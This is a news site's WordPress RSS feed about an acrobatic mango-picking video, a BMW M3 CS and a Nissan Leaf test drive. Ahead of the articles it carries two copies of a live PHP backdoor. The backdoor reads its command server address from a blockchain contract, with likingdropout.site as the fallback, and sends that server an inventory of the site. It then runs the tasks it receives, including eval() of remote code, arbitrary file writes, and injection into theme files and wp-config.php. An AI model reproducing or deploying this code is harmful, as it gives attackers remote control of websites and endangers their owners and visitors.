// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Electrifying – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 26 Jun 2018 10:26:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Electrifying – Brief News https://briefnews.eu 32 32 Cheerleading daredevils toss their friend to grab mangoes in electrifying VIDEO https://briefnews.eu/cheerleading-daredevils-toss-their-friend-to-grab-mangoes-in-electrifying-video/ https://briefnews.eu/cheerleading-daredevils-toss-their-friend-to-grab-mangoes-in-electrifying-video/#respond Tue, 26 Jun 2018 10:26:21 +0000 http://briefnews.eu/cheerleading-daredevils-toss-their-friend-to-grab-mangoes-in-electrifying-video/

A cheerleading team tosses their friend up in the air to grab delicious mangoes from a tree branch in a heart-stoppingly intense video.

Showing off their athletic abilities outside an arena, this team of young Filipino athletes spotted a nice-looking tree full of mangoes and decided to practice their moves… to collect fruit.

According to the author of the video, Jed Nagales, it was the first time he and his cheerleading and dance group had ever dared to pick mangoes this way.

In the video shot in Camarines Sur in the Philippines, five daredevils did not waste any time to think and launched their friend, Dannielle Sasaluya, up in the air to grab them some delicious mangoes.

In an absolutely breathtaking jump that created a vivid illusion that she would never get caught , Dannielle managed to reach the branch with delicious fruit seconds before she fell back into the supporting arms of her friends.

“This is our unique way of getting mangoes,” the video title said.

The circus-like air acrobatics of this cheerleading team gathered instant attention as soon as the video was published on Facebook on June 17 and has already got almost 3 million views from people who enjoy the adrenaline rush.

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]]> https://briefnews.eu/cheerleading-daredevils-toss-their-friend-to-grab-mangoes-in-electrifying-video/feed/ 0 BMW M3 CS 2018 – ELECTRIFYING new limited edition car debuts  https://briefnews.eu/bmw-m3-cs-2018-electrifying-new-limited-edition-car-debuts/ https://briefnews.eu/bmw-m3-cs-2018-electrifying-new-limited-edition-car-debuts/#respond Wed, 08 Nov 2017 16:36:59 +0000 http://briefnews.eu/bmw-m3-cs-2018-electrifying-new-limited-edition-car-debuts/

BMW has debuted the new M3 CS, an even sportier version of the M3 variant. 

The four-door sports saloon is powered by a twin-turbo 3.0-litre straight-six engine which produces 454bhp and just shy of 600Nm of torque. 

This is an increase of 10bhp and 48Nm on the Competition pack which allows it to accelerate from zero-62mph in just 3.9 seconds and on to a top speed of 174mph. 

M3 CS is therefore 0.3 seconds quicker at accelerating and has a higher top speed by 19 mph. 

In part this is achieved by the increase in power but it is also down to the weight reduction on the new variant. 

It weighs 1,585kg and carbon fibre elements have been used to slash to overall weight, mainly on the bonnet, to lower the car’s centre of gravity. 

Paired with the 3.0-litre straight six engine is a seven-speed twin-clutch paddle shift gearbox and adaptive suspension. 

The suspension has four driver modes – Comfort, Sports, Sport + and standard – and is largely similar to the one on the Competition Package. 

Among some of the car’s the standard features are automatic climate control a Harmon Kardon surround sound system and Navigation system professional. 

The car’s styling is also reflective of the upgraded sporting credentials. 

It has twin LED headlights, large three-section air intakes, Gurney lip spoiler, front splitter and rear diffuser, which have all been redesigned for the M3 CS. 

In addition to this, the bonnet features scoop to improve aerodynamics and air intake.

The special-edition model – which will be limited to a run of approximately 1,200 units due to production factors – will be built from March 2018.

Orders for the new BMW M3 CS can be placed from January 2018.

Prices for the car are £86,630, which does pose a conundrum for buyers.

It is around £25,000 more expensive than the M3 Competition edition and only slightly quicker and slightly modified styling. 

Therefore you are paying a premium for the car’s rarity and exclusive badge – but is that worth £25,000? 

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]]> https://briefnews.eu/bmw-m3-cs-2018-electrifying-new-limited-edition-car-debuts/feed/ 0 2018 Nissan Leaf First Drive | Electrifying the masses https://briefnews.eu/2018-nissan-leaf-first-drive-electrifying-the-masses/ https://briefnews.eu/2018-nissan-leaf-first-drive-electrifying-the-masses/#respond Wed, 06 Sep 2017 07:49:33 +0000 http://briefnews.eu/2018-nissan-leaf-first-drive-electrifying-the-masses/ KAMINOKAWA, Japan — After an agonizing trickle of details and teasers, Nissan has finally pulled the wraps off the next generation of the world’s best-selling EV nameplate, the Leaf. But a lot has changed since the original launched in 2010. With the impressive range figures of the Tesla Model 3 and Chevy Bolt, the 2018 Nissan Leaf has got to be good. As we drove it at Nissan’s Tochigi proving grounds, zipping quietly through corners while nestled in the attractive, tech-laden interior, we realized we were piloting a successful evolution — and a milestone defining the second generation of the modern electric car.

THE LOOK

The new Leaf is far better looking than the car it replaces. It’s sleeker, with a more planted stance, futuristic but more mainstream. Its floating roof projects lightness, and its swept-back shape gives it a sense of motion. The new Leaf is about 0.4 inch lower in overall height, 0.8 inch wider and 1.2 inches longer, but it appears even lower, wider and longer than that. Ground clearance is unchanged. Nissan’s designers told us they would have liked to have lowered the car and put bigger wheels on it, but they made all the spatial changes they could without making it too heavy or costly. Essentially, the new Nissan Leaf looks more like a car we’d aspire to get our hands on, electric powertrain or not.

We found the interior to be quite comfortable and more premium than we expected. The cars we sampled had high-quality materials such as perforated leather seats with microfiber inserts and blue accent stitching. The sense of width played nicely in the cabin, and the front seats felt spacious for such a small vehicle. Even the rear seats were comfortable, with a good amount of legroom for a 6-foot-tall passenger behind a similarly sized driver. The floor felt high, though, in the back seat, and the ceiling was slung low overhead. Still, we wouldn’t feel guilty putting two adults or three children back there for a couple of hours.

2018 Nissan Leaf2018 Nissan Leaf2018 Nissan Leaf2018 Nissan Leaf

Walking around the car, we saw that the charging port was still located in the nose of the vehicle. It would have cost too much to move it to the side, designers told us, but they did what they could to make it more user-friendly. The port was under a flap on the hood, allowing one to plug in from above, rather than crouching to plug into the front of the grille — a small ergonomic improvement owners will appreciate, especially if they’re moving up from an old Leaf.

Those designers were coy about any other Leaf variants, but suggested that a potential Nismo version “may or may not” have bigger wheels. There were hints that other “things” are “coming” as well, whatever that means. Speculate away.

THE GUTS

To start, the new Leaf will be available with a 40-kWh battery offering 150 miles of range on the U.S. cycle. Later, a second variant with a 60-kWh battery pack, called “e-Plus,” will offer an expected 225 miles of range.

2018 Nissan Leaf

The new Leaf uses the same electric motor as before, but Nissan improved the electric powertrain to make more power available. Thanks to an upgraded inverter, the motor is capable of 110 kW of output (or 147 horsepower for those who prefer to measure output in animals). Yeah, having more power will use more energy, but the boost in battery capacity more than makes up for that in range. If a driver is concerned about it, they can use the Leaf’s “Eco” mode, which decreases the car’s acceleration and top speed, making it more efficient to drive.

EVs are naturally quieter than their internal-combustion counterparts. That doesn’t mean customers won’t find some noise to complain about in their electric car. For Leaf drivers, when there’s no rumble of the engine to mask it, wind noise has been the thing they’ve noticed. In general, mirrors are especially noisy, as the airflow is getting disturbed right in front of the driver’s head. Nissan added more sound deadening to the 2018 model to make it even quieter, including an acoustic glass windshield. The company also tuned the aerodynamic design in the wind tunnel. We were able to visit the wind tunnel and watch how the front of the Leaf diverts as much air as it can away from the mirrors to minimize noise. The new Leaf has about the same drag coefficient as the outgoing model, but it’s quieter. During our test-drive, we were able to pick up a small amount of wind noise, but we did find the car to be exceptionally serene overall.

THE DRIVE

Our actual drive time in the new Nissan Leaf for this first sampling took place entirely within the automaker’s Tochigi proving grounds, in a preproduction vehicle built to Japanese specifications. It began with demonstrations of the ProPilot Park and ProPilot Assist systems, an experience deserving of its own, separate review, which you can read here. According to Nissan, the cars bound for Japan have lighter steering and softer suspension tuning than the vehicles that will be sold in North America. We’ve got another drive of the U.S. spec car coming soon, so stay tuned for more on that.

2018 Nissan Leaf

Nissan’s Tochigi proving grounds are sprawling and include miles of different roads meant to simulate a wide variety of driving locales and situations one might find themselves in. Many are exaggerated examples of the pocked or undulating roads you’d find in rural Japan or New York City. Nissan engineers talked about how the car was meant to soak up a lot of the irregularities on the road. What they were describing (through translators) was a bit different from what we were actually surmising about the car. Instead of a soft ride, we found the suspension felt sporty and engaging. Instead of isolation, we found composed engagement, at least through the chassis. If the Japanese suspension tuning is supposed to be soft, we’re optimistic about the dynamics of the North American Leaf. Again, we’ll report back on that soon.

Through the section of roadway imitating suburban curves, we had the chance to get a sense of the Leaf’s stability. In Japanese spec, the steering is a little lighter than what we’ll get in North America. Feedback was minimal, but apart from that, we have no complaints. The Leaf was willing to turn in and hold a corner at a number of speeds. The extra width of the car is palpable, and the Leaf stays flat when accelerating through the bends. Eventually, with enough lateral force, it’ll start to lean a bit, but only when we pushed the car, say, 30 percent harder than we would in real-world driving where speeding has consequences. Having that low center of gravity from the battery pack is helpful. The North American steering and suspension tuning likely will help the Leaf’s driving dynamics

New to the Nissan Leaf for this generation is e-Pedal technology. At its essence, e-Pedal allows you to drive the Leaf using only the accelerator. The great thing about e-Pedal, though, is that you can turn it on or off with the flip of a switch. Just toggle the selector on the center console — the one that looks like an electronic parking brake — and you’re all set for one-pedal driving. Press the accelerator to go, ease off to slow down and lift off completely to come to a stop. It begins to feel natural quickly, especially if you’ve experienced one-pedal driving or even a braking mode in other electrified cars.

2018 Nissan Leaf

